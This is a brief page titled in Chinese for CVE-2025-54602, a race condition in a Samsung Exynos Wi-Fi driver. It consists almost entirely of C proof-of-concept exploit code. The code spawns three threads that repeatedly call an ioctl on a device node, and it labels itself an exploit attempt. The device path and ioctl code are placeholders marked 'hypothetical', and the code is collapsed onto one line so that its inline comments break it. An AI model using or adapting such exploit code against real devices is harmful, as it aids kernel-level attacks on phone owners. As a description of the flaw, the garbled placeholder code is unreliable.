CVE-2025-54602 三星Exynos处理器Wi-Fi驱动竞态漏洞

#include <stdio.h> #include <stdlib.h> #include <pthread.h> #include <fcntl.h> #include <sys/ioctl.h> #include <unistd.h> #define DEVICE_PATH "/dev/wifi_drv" // Hypothetical device path #define VULNERABLE_IOCTL_CODE 0x8001 // Hypothetical ioctl command // Thread function to invoke ioctl continuously void* race_func(void* arg) { int fd = open(DEVICE_PATH, O_RDWR); if (fd < 0) { perror("Failed to open device"); return NULL; } // Loop to trigger the race condition on the global variable for (int i = 0; i < 10000; i++) { ioctl(fd, VULNERABLE_IOCTL_CODE, NULL); } close(fd); return NULL; } int main() { pthread_t t1, t2, t3; printf("Starting PoC for CVE-2025-54602...\n"); // Create multiple threads to invoke ioctl concurrently pthread_create(&t1, NULL, race_func, NULL); pthread_create(&t2, NULL, race_func, NULL); pthread_create(&t3, NULL, race_func, NULL); // Wait for threads to finish pthread_join(t1, NULL); pthread_join(t2, NULL); pthread_join(t3, NULL); printf("Exploit attempt finished.\n"); return 0; }